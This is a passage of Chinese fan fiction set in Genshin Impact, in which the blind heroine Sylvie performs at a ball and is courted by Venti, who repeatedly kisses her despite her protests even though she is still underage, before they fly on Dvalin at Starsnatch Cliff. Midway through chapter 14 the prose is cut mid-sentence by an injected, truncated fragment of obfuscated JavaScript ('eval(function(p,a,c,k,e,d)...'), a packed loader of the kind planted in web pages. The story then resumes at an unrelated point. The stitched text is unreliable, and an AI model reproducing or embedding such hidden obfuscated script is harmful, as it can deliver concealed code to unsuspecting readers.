说着说着,那张脸再次凑近了希尔薇,风的神明开口了,他说:“我可以吻你吗?”话音刚落,一个轻的不能再轻的吻触碰了一下希尔薇的脸颊。 希尔薇身体僵了一下,却没有躲开。 人会在逃避命运的路上,遇见自己的命运,那才是你所选择的,眞正属于你的命运,而逃离之前的命运并不是命运,是枷锁。 12. 风语[十二] 受上次舞会经历的影响,这次希尔薇特意挑选了样式极为简单的衣服。她安静地站在那里,像一尊伫立的雕像。 她身着一件素雅的象牙白佩普洛斯长裙,布料柔软垂坠,在肩头以小巧的金色圆扣固定,一侧的衣襟自然垂落,形成流畅的褶皱。 长裙的布料呈现出一种天然的、未经雕琢的纯净感,仿佛初春新绽的百合花瓣。宽大的袖口下,露出她纤细而匀称的手臂,肌肤光洁如玉,几乎与长裙融为一体。 裙摆随着微风轻轻拂动,不带有任何凡俗的欲望或杂念。 察觉到罗莎莉亚的停顿,希尔薇开口了:“怎么了,罗莎莉亚?” 这可是她问店主店里面样式最简单的衣物了,这一次她头上可是连任何装饰都没带。她站在那里就像是一首未写完的诗行,纯粹而静谧。 “你确定要穿成这样?”罗莎莉亚的声音沙哑。 蒙德城都快传遍了,猫尾酒馆来了个美貌的少女,让人见之忘俗,甚至还有吟游诗人传唱着少女的美貌。当然,这些赞扬的话语被风悄然挡在了希尔薇的世界之外。 “这样不行吗?”希尔薇困惑地转向米蕾,她可是听从米蕾的话才选了这么一套最简单的衣物。米蕾从希尔薇发间轻盈地飞出来,声音清脆:“希尔薇自然是最好看的!穿什么都好看!”小小的妖精骄傲地说道。 罗莎莉亚沉默了,发现她好像没法反驳米蕾。拥有这样一张脸,也不知道是好事还是坏事。 “走吧,”这位沉默寡言的修女终于开口了。 “谢谢你,罗莎莉亚。” 这次投向希尔薇的目光,似乎比上次舞会上还要密集。希尔薇求救般看向罗莎莉亚,不太明白事情为什么会变成这样。 周围的人也越聚越多,尤其是在她弹奏完竖琴的间隙,那些注视让她感到无所适从,恨不得舞会立刻结束。 层层叠叠的人影和窃窃私语形成一股无形的压力,将她围在中心。 还好,还好有罗莎莉亚。她像一道沉默的壁垒,将大部分好奇或热切的目光挡在希尔薇之外。 盲眼的少女难得对她笑了,眉眼弯弯,唇角上扬:“再次谢谢你,罗莎莉亚,有机会我请你吃猎鹿人餐馆的蜜酱胡萝卜煎肉吧。” “请不要拒绝我哦。” 这个笑容,不知让多少在场的少年心头一颤。罗莎莉亚微微“啧”了一声,没再说话。 等到舞会终于结束,少女从竖琴旁站起身,向着罗莎莉亚伸出了手:“请允许我邀请你,修女小姐,在这舞会的终章,邀请你和我跳一支舞。” “我不会,”罗莎莉亚回答得干脆利落。 “那也没关系,我可以教你。”希尔薇声音温和。 这时已经有人开始离场,在这个不太引人注意的角落,罗莎莉亚将手搭在希尔薇的手上。两人跳起了一支不伦不类的舞蹈。当音乐和舞蹈一同结束时,希尔薇对着罗莎莉亚笑了:“走吧,修女小姐。” 为希尔薇挡了一下午形形色色的目光,罗莎莉亚也感到一丝疲惫,任由希尔薇将手轻轻挽在自己的右臂上。 走在回程的路上,希尔薇声音轻柔:“说起来,这还是一位吟游诗人教我的呢。我想,无论何时,每个人都有自由起舞的权利。” “现在,罗莎莉亚小姐的心情有没有好一点?”希尔薇轻声问。 黑衣的修女先是沉默,然后才开口,长长的飘带随着她的动作拂过希尔薇的脸颊:“吟游诗人?哼!你最好离他们远一点,希尔薇。” 她顿了顿,带着一丝不易察觉的探究,“对了,为什么要说我心情有没有好一点?” 希尔薇的指尖轻轻碰了碰飞舞的米蕾,坦诚地说:“因为,在看到罗莎莉亚小姐的第一眼,就感觉你整个人都绷得很紧呢。” 走到蒙德城那座熟悉的拱桥上,少女继续说道:“希望我今天可以让你放松一点,开心一点,罗莎莉亚。” 罗莎莉亚只是又轻轻“啧”了一声,没有否认。 将人送到家门口,罗莎莉亚才转身离开。今天门口小木箱里的花看来是被人拿走了。葛罗丽和希尔薇每天放花不单是为了欣赏,更是希望过路人能看到门口盛开的芬芳,小木箱上其实还写着一行小字:“需要者请自取”。 傍晚的余晖温柔地笼罩了蒙德城,接着,微风打着旋儿落下,绿衣的诗人就这样凭空出现,没错,就是这样。 风元素凝聚又散去,留下他身上淡淡的、混合着苹果与蒲公英酒的独特香气。 “这一点也不公平,”诗人一落地,就用带着一丝委屈的语调指责道。 “嗯?”希尔薇溢出一声疑惑,紧接着,是对方突然的靠近。 太近了!希尔薇甚至能清晰地感受到那近在咫尺的温热呼吸。 “希尔薇愿意邀请迪奥娜一起住宿,也愿意邀请那位冷冰冰的修女小姐一起共舞,可希尔薇从来没有主动邀请过我哦!”他的话语中带着毫不掩饰的失落,甚至翻起了旧账,“包括上上上次一起交流音乐的邀请。” “哈哈……”希尔薇有些慌乱地打着哈哈,试图跳过这个话题。她别过脸,声音透着不自在,“你离我太近了,温迪。” 她越是这么说,诗人反而得寸进尺地又凑近了一点点,脸上挂着狡黠又期待的笑容:“所以,可怜的、被遗忘的诗人现在非常需要希尔薇小姐的一个吻来抚平内心的创伤呢。” “请别这样,温迪。”金发的少女垂下眼帘,长长的睫毛像蝶翼般轻轻颤动。他帽檐上别着的塞西莉亚花枝叶似乎不经意地擦过希尔薇的脸颊,带来微痒的触感。 希尔薇能清晰地感受到温迪专注的注视,这感觉太陌生了。 狄安娜的话忽然在耳边响起:“不要轻易相信任何一个男人,希尔薇,男人都是些……嗯,总之要小心他们的甜言蜜语和过分亲近。” 所以,从未真正接触过情愫的少女下意识地后退了两步,象牙白的长裙随着她的动作如水波般荡漾,整个人纯净得不染尘埃 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更让她没想到的是,温迪原本只是抓着她的手腕,此刻却得寸进尺地将自己的手指挤进她的指缝里,变成了十指相扣的亲密姿势。 指尖紧密相贴的感觉陌生又奇异,让希尔薇觉得非常新奇。 走在蒙德城外通往风起地的小径上,希尔薇能感受到果酒湖吹来的湿润微风,以及身边人独特的苹果酒香。 温迪振振有词,说什么“希尔薇今天这么美,穿着这么好看的裙子只待在屋子里太浪费了”、“蒙德城外的晚风最适合散步了”等等,他找着各种理由,半哄半骗地牵着希尔薇的手漫步在城郊。 每当希尔薇想要悄悄抽回自己的手,温迪就会立刻察觉,然后可怜兮兮地问:“希尔薇不喜欢这样吗?不喜欢和我牵手吗?”那委屈的模样让人硬不起心肠。 ……算了,希尔薇在心里轻轻叹了口气,安慰自己,仅仅只是牵个手而已,也没什么大不了的。 她开口问道:“我们要去哪里?” “去哪里都可以哦,”温迪的声音带着雀跃,“因为温迪只是想和希尔薇一起走走呢!” 走着走着,希尔薇像是突然想起了什么重要的事情,她停下脚步,转向温迪的方向,语气认真:“风带来了故事的种子……所以温迪,你看到了我的故事吗?” “嗯哼~”温迪没有否认,大方地承认了这个事实。 “这不公平,”希尔薇轻轻摇头,将这句话回赠给了诗人,“我想要知道你的故事。 “我的故事啊……那恐怕要从很久很久以前说起了……”温迪的语气带着一丝追忆。 “不,”希尔薇打断了他,“我要听温迪的故事,不是风神巴巴托斯的故事。”她转向温迪,紧闭的双眼看向他,一字一句,清晰地开口说道。“ 她要听属于‘人’的故事,而不是属于‘神’的故事。 13. 风语[十三] 要命,希尔薇这样想着。 昨天晚上不知不觉就和温迪逛了很久,最后还迷迷糊糊答应了他一起去摘星崖的邀约。希尔薇原本是坚决不想答应的,结果温迪不是软磨硬泡地恳求,就是像只耍赖的小猫一样,轻柔的吻一下下点在她的唇上。 被那亲昵的举动和温迪身上好闻的苹果气息弄得晕晕乎乎的希尔薇,不知不觉就点头应允了,简直像是签署了一大堆“不平等条约”。 这样可不好,希尔薇坐在床边叹着气。但她是个很守约的人,答应了别人的事情就一定会做到。 按照约定,她来到“天使的馈赠”等待那位不靠谱的吟游诗人。酒保查尔斯今天不在,吧台后站着一位气质截然不同的红发青年。 他身上似乎萦绕着一种独特的气息,听周围酒客的低语,这位青年应该就是天使的馈赠老板,同时也是晨曦酒庄的主人——迪卢克。 希尔薇安静地坐在角落,点了一杯清水慢慢抿着。米蕾倒是对吧台上琳琅满目的酒瓶很感兴趣,好奇地飞来飞去,希尔薇有点发愁,要是这小家伙真喝醉了,她可不知道该怎么带着一个醉醺醺的妖精去爬摘星崖。 “求求你了,迪卢克老板~”一个熟悉又清朗的声音在吧台响起,带着诗人特有的甜腻腔调。希尔薇循声站了起来,带着米蕾从安静的角落走向吧台方向。 她听了几句对话,果然,这个酒鬼诗人又在试图用他那三寸不烂之舌讨一杯美酒喝。 “唉,”温迪像一阵轻风发现了她,瞬间飘到她身边,脸上堆满笑容,“希尔薇你先来了呀,我让你久等了吗?” “没有,”希尔薇摇摇头,习惯性地伸出手指,轻轻碰了碰温迪的脸颊,语气带着了然的笑意,“你想喝酒?” “咦?这个嘛……哈哈……”温迪难得地心虚起来,眼神飘忽地后退了一小步,“没有啦,我就是……就是跟老板打个招呼!” “好吧。”希尔薇不再追问,径直走到吧台前,从随身的小袋子里拿出一袋摩拉放在台面上,声音清晰地对那位神情冷峻的老板说:“请给我一杯树莓薄荷饮。” “咦?”温迪立刻凑过来,像被抛弃的小狗一样可怜兮兮地看着她,“希尔薇小姐,你要抛弃你可怜的同伴独自享用美味吗?” “啧。”吧台后的迪卢克老板发出一声冷淡的音节,目光锐利地扫过温迪,然后落到希尔薇身上,语气不容置疑,“未成年不得饮酒。” “……”希尔薇的生日在五月份,现在才二月底,如此算来,她确实还有三个月才成年。她想了想,改口道:“那……就来一杯苹果酿。” 苹果酿是蒙德常见的无酒精饮品,带着清甜的果香和一丝微凉的薄荷味,常被酒客们用来醒酒,也标志着聚会的结束。 这次老板没有拒绝,动作利落地将一杯色泽诱人的苹果酿推到温迪面前。希尔薇对温迪微笑道:“希望你喜欢这份的礼物,温迪。” 认识希尔薇的人总会感叹:希尔薇小姐总是这样温柔又体贴。喝了苹果酿的少年满足地眯起眼,像只被顺毛的猫咪。 他忽然凑近希尔薇,绿宝石般的眼睛亮晶晶的,带着一丝期待和试探:“那么,喝了希尔薇小姐礼物的我,会是希尔薇心里最特别的那一个吗?” “才不是!”米蕾立刻气鼓鼓地从希尔薇发间飞出来,叉着腰挡在两人中间,“我才是希尔薇心中最最特别、最重要的那一个!” “哼,你这个贪杯的诗人休想抢走我的位置!”小小的妖精在空中急得直跺脚。 那位红发的老板迪卢克,锐利的目光在两人一精灵身上来回扫视,若有所思,似乎在评估着什么,这目光让希尔薇感到一丝异样。 走出“天使的馈赠”时,希尔薇还在想着刚才迪卢克老板那审视的目光。她难得主动地牵起温迪的手,低声问道:“他……知道你的身份吗?” “嗯嗯,算是吧。”温迪含糊地应着,一边回答,一边像只寻求安慰的小动物,用头亲昵地蹭了蹭希尔薇的肩膀。 这过分亲昵的依赖感让希尔薇心头泛起一丝小小的异样,她下意识地松开了温迪的手,并稍稍往旁边挪开了一点距离。 “希尔薇小姐,亲爱的希尔薇小姐,”温迪立刻察觉,声音里带上夸张的委屈,“你怎么能这样残忍地拒绝一位对你满怀爱慕的诗人呢?我还以为,经历了昨天和今天,我已经是希尔薇小姐认可的追求者了呢?”他绿色的眸子眨啊眨,试图装出最无辜可怜的样子。 希尔薇维持着礼貌的微笑,没有立刻回应。温迪却不肯罢休,继续说道:“而且,一想到希尔薇去了那样热闹的舞会,被那么多人注视着,我的心就像被塞了一团酸溜溜的日落果!我也会嫉妒的,真的!”他捂着胸口,表情夸张得像在演一出歌剧。 不知道从哪本讲述古老礼仪的旧书上看到过,上面写着:想要让在乎的人感到安心,最好的方式之一就是给予拥抱。 希尔薇想着那本书上的内容,书中提到,后背会让人本能地感到不够安全,如果从背后轻轻环抱住对方,手掌轻柔地贴在后腰,能传递一种被守护的安心感; 而如果从正面拥抱,将对方的头轻轻按向自己的肩膀,则能唤起一种类似小时候被亲人抱着的、非常安心的感觉。 她上前一步伸出双手环抱住了温迪,指尖不经意间划过对方腰侧柔软的衣料,引得温迪身体微微一颤。 像是被一阵轻柔又意外的风拂过敏感处,带起一阵细微的酥麻感。 说起来,希尔薇和温迪差不多高,甚至可能还比他高出那么一点点。 然后,她的手顺着温迪的脊背线条慢慢向上移动,动作轻柔得像在安抚一只受惊的小鸟,最后来到他温热的脖颈后,带着安抚的意味,轻轻地将他的头按向了自己的肩膀。 啪叽!温迪整个人瞬间僵住了,仿佛被一道无形的风之锁链定在原地。 他感觉到自己的脸颊像被塞进了一堆燃烧的火史莱姆,热度“轰”地一下从耳尖红到了脖子根。 他支支吾吾,嘴巴张张合合好几次,却连一个完整的音节都吐不出来,大脑一片空白,只剩下少女身上淡淡的、如同初绽塞西莉亚花的清新气息萦绕在鼻尖。 温迪心里万分庆幸:幸亏希尔薇小姐看不见!不然她就能看见我这张烫得能煎蛋的脸,还有这双不知道该往哪里放、只能僵硬地垂在身侧的手,以及……眼睛里那浓得化不开、根本控制不了的喜欢,那简直要把我自己都淹没了! 这突如其来的、完全不同于他平日嬉闹调笑的亲密拥抱,彻底打乱了温迪的心跳和呼吸。 他几乎是本能地,像被踩了尾巴的猫一样,猛地从希尔薇的怀抱里弹开,后退了好几步才站稳。 胡乱地用手背蹭着自己发烫的脸颊,眼神飘忽不定,声音又急又轻,还带着明显的磕巴:“希、希尔薇!你、你怎么突然……这、这太犯规了!我、我的风……风都乱了!” 米蕾在一旁看得津津有味,拍着小手咯咯直笑:“温迪变成红苹果啦!比日落果还红!” 希尔薇虽然看不见,却能清晰地感受到温迪那慌乱的动作和急促的呼吸声,还有他话语里那份罕见的、毫无伪装的失措。 她忍不住轻声笑了起来,那笑声像清泉流过山涧,带着一点点促狭,更多的是温柔:“我只是……想让你知道,你不用嫉妒任何人。” 温迪看着她脸上狡黠的笑意,感受着自己胸腔里依旧如擂鼓般的心跳,还有那几乎要满溢出来的、甜得发胀的情感。 他深吸了一口气,努力平复着翻腾的心绪,脸上重新扬起那抹熟悉的、带着点慵懒和温柔的笑容,只是那笑容里还残留着未褪尽的红晕。 “安心……嗯,非常安心。”他低声重复着,绿眸中仿佛盛满了整个果酒湖的星光,“安心到……我差点忘了我们还要去摘星崖看风景呢。” 他走上前,这次没有像之前那样赖皮地十指紧扣,而是带着一种珍视的、小心翼翼的试探,轻轻牵起了希尔薇的手腕。 “走吧,希尔薇小姐,”温迪的声音恢复了清朗,带着一丝不易察觉的轻颤,“再不去,最美的晨光就要溜走了。” 没想到,在摘星崖还碰到了一位意想不到的朋友,或者说,温迪带她来这里,也是计划好要与这位朋友见面的吗? “希尔薇,希尔薇!快看!是上次的那头龙!”米蕾兴奋地在希尔薇耳边飞舞,主动将自己的视野共享给了她。 毕竟遇到如此强大又美丽的元素生物的机会可不多,米蕾迫切地想让希尔薇也能“看见”眼前这震撼的景象。 如果可以,这个忠诚的小妖精恨不得把自己的眼睛送给希尔薇。 通过米蕾共享的视野,希尔薇“看”到了盘旋在蓝天之下的特瓦林。他身形修长优雅,巨大的翅膀宛如最华丽的蓝紫色蝴蝶翅 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她停顿了一下,似乎在斟酌用词,然后才带着一丝期待和小心翼翼开口:“不过,可以答应我一个有点冒昧的请求吗?” 在温迪和特瓦林的注视下,希尔薇往前走了几步,靠近了这头美丽的巨龙。 通过米蕾的视野,眼前的一切都像一幅流动的、充满生机的彩色画卷。她所有的注意力都被眼前这头强大、美丽又带着温和气息的巨龙所吸引。 希尔薇仰起头,“望”着特瓦林所在的方向,声音轻柔而带着一丝恳切:“我可以……摸摸你吗?” 空气似乎安静了一瞬。温迪站在一旁,绿眸中带着鼓励的笑意,并没有阻止。 特瓦林那巨大的、如同蓝宝石般的龙眼注视着眼前这个渺小的人类少女。他能感受到她身上纯净的气息,以及那份毫无杂念的请求。 片刻之后,他发出一声低沉却温和的轻哼,像是风拂过古老的山谷。他优雅地、缓缓地伏低了那巨大的、覆盖着光滑鳞片的头颅,小心翼翼地靠近希尔薇,直到她触手可及的位置。 米蕾紧张地屏住了呼吸。 希尔薇感受到一阵带着清冽气息的风拂过脸颊,那是特瓦林靠近时带起的微风。她深吸一口气,带着无比的虔诚和一丝不易察觉的颤抖,慢慢伸出了手。 她的指尖,先是轻轻触碰到了特瓦林鼻梁上方一小片光滑微凉的鳞片。触感比她想象中更温润。接着,她的手顺着那流畅的线条,小心翼翼地抚上了特瓦林脸颊侧边更大一些的鳞片。 最后,在温迪含笑的目光和特瓦林默许的低吟中,希尔薇的手轻轻拂过了特瓦林翅膀边缘那如同最上等丝绸般的翼膜。 那触感极其轻柔、薄如蝉翼,却又蕴含着能撕裂长空的力量感。她能“看”到米蕾视野里那翅膀上流动的蓝色光斑,仿佛触摸到了凝聚的星光和自由的风。 “好神奇……”希尔薇喃喃低语。特瓦林似乎被少女真诚的赞美和温柔的触碰取悦了,喉咙里发出舒适的、如同风琴共鸣般的咕噜声。 他微微调整了一下姿势,让希尔薇能更舒服地触碰他。 温迪走到希尔薇身边,看着眼前这不可思议又和谐的一幕,强大的东风之龙温顺地俯首,任由盲眼的少女用指尖“阅读”他的存在。 他轻声说:“看来,特瓦林也很喜欢你呢,希尔薇。” 希尔薇收回手,虽然看不见,却准确地“望”向特瓦林巨大的头颅方向:“谢谢你,特瓦林!” 特瓦林抬起头,巨大的翅膀优雅地收拢,龙首微点,声音里带着一丝不易察觉的温和:“不必客气,希尔薇小姐。” 他看向温迪,“巴巴托斯,带你的朋友上来吧。摘星崖真正的风景,只有在云端才能看得完整。我想,希尔薇小姐值得拥有这样一份视野。” 温迪眼睛一亮,笑着向希尔薇伸出手:“如何,我亲爱的朋友?风龙特瓦林亲自邀请我们共游云端,这可是蒙德最顶级的观光体验哦!” 希尔薇脸上还残留着触摸巨龙的兴奋红晕,她毫不犹豫地将手放入温迪的掌心,声音难得雀跃:“米蕾,我们出发了。” 小小的妖精欢呼一声,率先飞向特瓦林宽阔的背脊。温迪牵紧希尔薇的手,风元素温柔地托起两人,轻盈地落在了特瓦林背上。 随着一声震撼却充满力量的龙吟,巨大的蓝紫色蝶翼展开,承载着诗人、少女与妖精,迎着高崖之上猎猎的天风。 14. 风语[十四] 坐在特瓦林宽阔而平稳的背上,温迪拿出了他心爱的莱雅琴,“这个时候,怎么能少了音乐相伴呢?” 他笑着说,伸出手指,轻快而熟练地拨弄起琴弦,悠扬的琴声融入了高天的风声。 风吹得希尔薇金色的长发如流云般飞舞,她感受着掠过脸颊的疾风,身下巨龙坚实的身躯传来的微微震动,以及耳畔诗人那清澈如泉的歌声。 然后,这位随性的诗人做出了一个有点过分的举动,他自然地、带着点慵懒地将头枕在了希尔薇的腿上,整个人舒服地舒展着身体,像一只找到了温暖窝巢的鸟儿,继续唱起古老的歌谣。 希尔薇倒也没在意温迪这小小的依赖和亲近,只是调整了一下坐姿,让他枕得更舒服些,然后便静静地沉浸在这高天之上的风与乐之中。 她的手指无意识地、轻柔地梳理着温迪被风吹乱的发丝,指尖偶尔会触碰到他微凉的额角。 米蕾则在他们身边飞舞,追逐着被特瓦林翅膀带起的风旋。 等到特瓦林将两人安全送回摘星崖,振翅离去后,希尔薇的心神似乎还留在那云端之上,抬起头看向远方。 见少女的全部注意力似乎都被特瓦林吸引走了,温迪心里泛起一点点小小的不开心。他夸张地叹了口气,语气带着点委屈:“哎呀呀,自从希尔薇一见到特瓦林,眼睛里就完全没有我的位置了呢!真是让诗人好生伤心。” “怎么会呢,”希尔薇温声反驳,转向温迪声音的方向,“温迪,你知道的,我可以通过米蕾的眼睛去‘看’这个世界。越是强大的元素生物,对我来说,就越能像普通人一样被‘看清’轮廓和色彩,特瓦林……是一条非常美丽又强大的龙。”她由衷地赞叹道。 “好吧,好吧,”温迪虽然这样说着,却悄悄靠近希尔薇。他伸出手,带着一种前所未有的郑重和小心翼翼,指尖极其轻柔地触碰了一下希尔薇紧闭的眼睑。 然后,他微微低下头,将一个饱含着怜惜、虔诚的吻,轻轻落在了希尔薇的眼睛上。 摘星崖地势高耸陡峭,周围劲风呼啸,生长着许多蒙德特有的塞西莉亚花。这种花朵通常只生长在清冷孤高的山崖之巅,无怪乎人们赋予它‘浪子的真心’这样浪漫又带点漂泊感的花语了。 蒙德城中的一些商店会售卖塞西莉亚花制成的书签和香薰,因其清雅独特的芬芳而备受喜爱。希尔薇就喜欢这种如同风本身般纯净又带着点冷冽的香气,在房间里放置了不少塞西莉亚花香的香薰。 温迪俯身,仔细采撷了一朵最新鲜、花瓣舒展得最完美的塞西莉亚花,将它轻轻递到希尔薇手中。 他笑意清浅,带着点分享秘密的雀跃:“你知道吗,希尔薇?塞西莉亚花是我最喜欢的花呢。” 他顿了顿,绿眸中闪烁着狡黠的光芒:“这可是我的一个小秘密哦!所以……希尔薇是不是也应该交换给我一个你的小秘密才公平呢?” 希尔薇微微蹙起眉头,有些无奈地开口:“温迪,我的事情,你明明都知道的呀。”在她看来,风似乎总能将她的信息带到诗人耳边。 “这不一样嘛,”温迪坚持道,像个讨要糖果的孩子,“那是风知道的,不是希尔薇亲口告诉我的。” “好吧,”希尔薇想了想,决定满足他一下,“比如说……我知道那天晚上的花,其实是你送的。” “啊,这个不算!”温迪立刻摇头,对这个‘秘密’表示不满,“这个太容易猜到了!我要听点别的,更‘秘密’一点的!” “别这样嘛,温迪,”希尔薇的语气带着点拿他没办法的纵容。 温迪突然凑近希尔薇,两人的距离瞬间拉近。希尔薇清晰地嗅到了少年身上混合着塞西莉亚花清冷芬芳与苹果气息的独特味道。而米蕾早已沉醉在摘星崖壮丽的风景里,东看看,西看看。 就在这花香萦绕中,温迪没有直接亲吻希尔薇的唇,而是隔着那朵他刚采下的、带着露珠的塞西莉亚花,将吻轻轻印在了花瓣朝向希尔薇的那一面。 与此同时,一股温暖、柔和的风元素力,带着勃勃生机,透过花瓣,轻柔地传递到了希尔薇身上,仿佛在无声地滋养着什么。 希尔薇立刻感受到了这股力量的流向和意图。她轻轻叹了口气,声音温柔却坚定:“温迪,我不需要的。” 她伸出手,仿佛要拨开那层名为“巴巴托斯”的神明外衣,直接触碰到那个名为“温迪”的吟游诗人的本心。 她轻轻捧起了温迪的脸颊,那朵被当作媒介的塞西莉亚花,无声地飘落在两人脚边的草地上。 “你明明……”希尔薇侧过头,“也很痛的吧。” 连特瓦林都因为毒血而沉睡,那么经历了坎瑞亚灾变和毒血侵蚀的温迪呢。 “我为你,”似乎在找一个合适的形容词,希尔薇有点小小的苦恼,“我心疼你遭受过的痛苦,温迪。” 她继续说道:“而且,就算我的魔力回路破碎了,也完全不影响我的生活。你不用特意消耗力量来修补它的。” 温迪看着眼前这个敏锐又温柔的少女,心中涌动着难以言喻的爱意。她总是能这样敏锐地感知到他的状态,这样温柔地表达她的关怀。 很多人将他视为遥不可及、需要仰望的风神,只有希尔薇小姐,真正看见了“温迪”。 这真的是一种太过于强烈、纯粹又令人心头发烫的情感。温迪一遍遍地低声呼唤着她的名字:“希尔薇……希尔薇……”好像唯有这样,才能稍稍宣泄出心中那满溢的、几乎要将他融化的爱意。 “那……”希尔薇像是下定了某种决心,声音轻柔却清晰,“我可以‘看看’你吗,温迪?” “当然可以,”少年模样的神明毫不犹豫地将脸凑到希尔薇面前,主动迎向她探寻的指尖。 他感受到少女微凉的指尖轻轻划过他的额头、感受到她指腹下自己微颤的睫毛,然后是高挺的鼻梁、最后是线条柔和的嘴唇,她的动作缓慢而珍重。 最后,她的指尖触碰到了温迪的耳朵,以及耳朵旁那缕被编成小辫子的山岚色发丝。“咦?”希尔薇有些惊讶地捏了捏那小辫子,“原来,温迪你还会编辫子呀?” “当然啦,”诗人带着点小得意回答,声音里满是笑意,“我可是很心灵手巧的!如果希尔薇愿意的话,我也非常乐意为希尔薇编漂亮的头发哦。” “哈哈,”希尔薇忍不住笑出了声,她其实不怎么会编头发,在卡尔迪特家族的时候,每天清晨都会有专门的女仆来为她精心梳理发辫。 可是后来,狄安娜对她说:“希尔薇,你要学会做这件事。” “你要学会一个人生活。” 狄安娜握着她的手:“希尔薇,我愿你像一只自由的鸟。” 当时,希尔薇只是笑着,对狄安娜说了声“好”。就像她从来不会追问狄安娜真正的身份,也不会去深究庄园里其他仆人对狄安娜那份混合着敬畏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不是的哦,”温迪笑着摇头,从她掌心取回那个小东西,“这只是一个用普通玻璃仿造神之眼样子做的小玩意儿啦,里面什么都没有,就是个装饰品。” “如果希尔薇想要一个这样亮晶晶的小挂饰,我也可以马上做一个给你哦,保证比这个好看!”他晃了晃手里的玻璃珠。 “可是,温迪,”希尔薇有些困惑地开口,“我能清晰地感受到空气中、风里、甚至你身上流动的元素力,它们像色彩斑斓的溪流一样清晰。但是……它们并不会回应我的呼唤,也不会听从我的指引。” 除了上次在特瓦林身边那次奇特的共鸣,她将那次短暂感受到力量回应的疑惑也告诉了温迪。 没想到温迪的关注点立刻像被风带偏的小船,拐到了一个奇怪的方向:“诶?原来在希尔薇原本的世界,你能驱使的元素力是‘光’吗?像太阳一样温暖明亮的那种?” 希尔薇将那个空心的玻璃珠递还给温迪,点点头:“是的,在我的故乡,我对光元素的亲和力确实远远超过其他元素力量,它曾经是我感知世界的重要方式之一。” “不过,希尔薇,”温迪的声音忽然变得认真了一些,他轻轻握住希尔薇的手,“神之眼本身并不是什么衡量价值或者力量的必需品,甚至……它有时候会带来不必要的麻烦和沉重的责任。” 他顿了顿,继续说道:“至于元素力……它无处不在,就像这吹拂我们的风,流淌的水,燃烧的火,稳固的岩石,还有你曾经熟悉的光。它们就在那里。关于想要如何与它们相处,这需要时间,需要感受,也需要一点点“契机”,不必着急。” 风卷起几片塞西莉亚的花瓣,轻轻落在两人的肩头。温迪的笑容重新变得轻松:“也许,下次我们可以一起研究研究,怎么让蒙德的风,也喜欢上希尔薇小姐的‘邀请’呢?” 15. 风语[十五] 这几天希尔薇都回来的很晚,连葛罗丽都察觉到了。 她敏锐地指出到希尔薇身上那种由内而外散发出的、难以掩饰的轻盈和愉悦,就跟她和古德温刚认识时一样。葛罗丽真诚地对希尔薇说道:“你最近好像很不一样呢,希尔薇。” “是吗?”希尔薇伸出手,指尖轻轻触碰到自己微微上扬的唇角,那抹笑容确实还未散去。 “你很开心,”葛罗丽肯定地说道,声音里带着为她高兴的笑意,“你最近总是这样开心,这种快乐的感觉,连我都能清晰地感受到呢。” 虽然名义上葛罗丽说是半价出租房屋,但希尔薇无论如何都不愿意占这个便宜,尤其是在猫尾酒馆演奏开始赚取摩拉后。 可每当她想要支付足额租金或额外给葛罗丽摩拉时,这位平日里温婉柔和的盲眼少女就会展现出异常坚定的态度,毫不犹豫地拒绝。 于是,希尔薇不得不采取了另一种表达心意的方式。 比如,每天清晨,她都会准时给葛罗丽带来一份猎鹿人餐厅热腾腾的早餐。以及在夜幕降临前,她都会为葛罗丽单独弹奏一首小小的、舒缓的晚安曲。 她说:“我希望葛罗丽每次入睡前,都有美妙的音乐陪伴在身边,帮你放松心情,做个好梦。” 现在希尔薇的演奏水平,在蒙德城已是有口皆碑。与之共同成长的不仅仅是她精湛的琴技,更是她融入音乐中的真挚。 与初来乍到时的娴熟却略显空洞不同,如今的希尔薇在弹奏时,琴声里蕴含的喜怒哀乐,都能传递给聆听者。 葛罗丽有时也会带着点俏皮打趣她:“看来我真是好大的荣幸呢!坐在家里就能免费听到猫尾酒馆里最受欢迎的希尔薇小姐的演奏。” 希尔薇总是温柔回应:“这也是我的荣幸,葛罗丽。为你弹奏这首只属于你的晚安曲,是我每天最期待的事情之一。” 明天又要去猫尾酒馆“上班”了,尽管希尔薇演奏的时间并不算长,但就像大多数人一样,她也会觉得“上班”本身带着点小小的无奈。 经历风灾洗礼后的蒙德城,早已恢复了往日的和平与活力。 这座以美酒闻名的城邦,人们用日落果、蒲公英籽、尤其是清甜多汁的苹果来酿造各种佳酿。 其中最为出名的当属晨曦酒庄,其出产的美酒不仅供应全蒙德,更是远销提瓦特其他诸国。 在猫尾酒馆,当希尔薇弹奏完最后一曲,热烈的掌声照例在酒馆里响起。 客人们享用着猫尾酒馆精心烹制的佳肴和各色美酒,美食和美酒让整个酒馆的氛围都轻松愉快起来。 吧台后的小迪奥娜翘着尾巴,忙碌地调着酒,看上去心情比前几天好了不少,两只猫耳朵随着动作一颤一颤的,嘴里难得哼着不成调的小曲。 一只熟悉的毛茸茸身影凑到了希尔薇脚边,希尔薇俯身,熟练地将露出柔软肚皮的猫咪抱了起来,走到靠窗的位置坐下。 指尖温柔地抚摸着猫咪顺滑的皮毛。怀中灰白相间的猫咪舒服地发出“呼噜噜”的声音,尾巴惬意地一甩一甩,偶尔蹭过希尔薇的手腕,那毛茸茸的触感和猫咪满足的呼噜声,让希尔薇觉得十分治愈。 米蕾坐在桌沿,两只小脚晃啊晃,托着腮静静看着希尔薇撸猫。 等到那只心满意足的猫咪从希尔薇怀里跳开跑走,希尔薇才站起身。米蕾的心情瞬间雀跃起来——希尔薇撸猫=温迪对猫过敏=温迪不会来找希尔薇=整个下午希尔薇都属于她! 要知道,米蕾虽然喜欢听温迪弹琴唱歌,但那位诗人总爱想方设法把她支开,好独占希尔薇。每当她想飞到希尔薇身边,总会被一阵“恰好”吹来的风挡住,真是讨厌极了! 这么想着,她开开心心地飞到希尔薇肩膀上,发出愉快的哼哼声:“希尔薇我们今天去哪里?现在才五点,时间还早呢!”希尔薇笑着问:“米蕾想去哪里呢?” 说起来,希尔薇大多数外出确实都和温迪有关。米蕾尽管有一点点小小的不满,也不得不承认,如果只有她和希尔薇两个人出城闲逛,确实不太安全。 毕竟两个看起来都很好“欺负”的样子,那位看起来总是不太着调的吟游诗人,在这方面,却出人意料地可靠。 米蕾立刻飞到希尔薇耳边,小声但坚定地说:“不要温迪!就我和希尔薇,两个人一起!” 